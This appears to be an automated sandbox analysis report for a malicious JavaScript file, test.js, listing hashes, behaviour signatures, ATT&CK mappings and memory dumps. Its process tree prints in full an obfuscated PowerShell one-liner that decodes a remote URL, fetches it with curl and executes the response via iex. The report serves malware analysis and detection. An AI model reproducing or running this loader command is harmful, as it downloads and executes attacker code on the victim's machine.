295565a303172e82267954ffe9d2b1898b29e339c6018a90c24843cb5df9a671

Analysis

max time kernel
130s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2024, 10:42

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General

Target

test.js
Size

9KB
MD5

55a23593d67b75246dfe0cf0a1f6d8d9
SHA1

026dbd8ff508b46223cfa6cb6e200e941c856f98
SHA256

295565a303172e82267954ffe9d2b1898b29e339c6018a90c24843cb5df9a671
SHA512

3ee505a97f8cbbc509fa8cb49bdee4bc6306ec3ce004785b563d27023fbc0da21d3b90aca8ade80409bc137ec1e363ed460b088956e7fd49b5a39b7318888515
SSDEEP

192:aQdEIoM+9VlaOdp0dv7fTFMvpmmnShfxvylQ2RqDdIycr3E:Rd1i9VHcdv7EDQaE

Score

10^/10

execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4100	3040	conhost.exe	83

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	4920	powershell.exe
11	4920	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4920	powershell.exe
4920	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4920	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 4920	4100	conhost.exe	85
PID 4100 wrote to memory of 4920	4100	conhost.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\test.js
1⤵
PID:688

C:\Windows\system32\conhost.exe
conhost --headless powershell $iwhquyrfzyvxd='ur';new-alias press c$($iwhquyrfzyvxd)l;$qpidxzqkwoa=(3786,3774,3771,3789,3779,3792,3779,3796,3779,3775,3720,3790,3785,3786,3721,3723,3720,3786,3778,3786,3737,3789,3735,3783,3779,3784,3790,3789,3723,3725);$lcowjygc=('bronx','get-cmdlet');$uqjrwosgela=$qpidxzqkwoa;foreach($plesginqadl in $uqjrwosgela){$ksicalmgsil=$plesginqadl;$xppubkfouun=$xppubkfouun+[char]($ksicalmgsil-3674);$ohnlbgrgr=$xppubkfouun;$wjlxyghj=$ohnlbgrgr};$gjchqvlf[2]=$wjlxyghj;$zoznikc='rl';$wesgslxt=1;.$([char](9992-9887)+'e'+'x')(press -useb $wjlxyghj)
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $iwhquyrfzyvxd='ur';new-alias press c$($iwhquyrfzyvxd)l;$qpidxzqkwoa=(3786,3774,3771,3789,3779,3792,3779,3796,3779,3775,3720,3790,3785,3786,3721,3723,3720,3786,3778,3786,3737,3789,3735,3783,3779,3784,3790,3789,3723,3725);$lcowjygc=('bronx','get-cmdlet');$uqjrwosgela=$qpidxzqkwoa;foreach($plesginqadl in $uqjrwosgela){$ksicalmgsil=$plesginqadl;$xppubkfouun=$xppubkfouun+[char]($ksicalmgsil-3674);$ohnlbgrgr=$xppubkfouun;$wjlxyghj=$ohnlbgrgr};$gjchqvlf[2]=$wjlxyghj;$zoznikc='rl';$wesgslxt=1;.$([char](9992-9887)+'e'+'x')(press -useb $wjlxyghj)
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ktls2g40.t21.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4920-0-0x00007FF8D4E83000-0x00007FF8D4E85000-memory.dmp

Filesize
8KB

Download
memory/4920-10-0x000001E348550000-0x000001E348572000-memory.dmp

Filesize
136KB

Download
memory/4920-11-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp

Filesize
10.8MB

Download
memory/4920-12-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp

Filesize
10.8MB

Download
memory/4920-13-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp

Filesize
10.8MB

Download
memory/4920-14-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp

Filesize
10.8MB

Download
memory/4920-17-0x000001E348200000-0x000001E34841C000-memory.dmp

Filesize
2.1MB

Download
memory/4920-18-0x00007FF8D4E80000-0x00007FF8D5941000-memory.dmp

Filesize
10.8MB

Download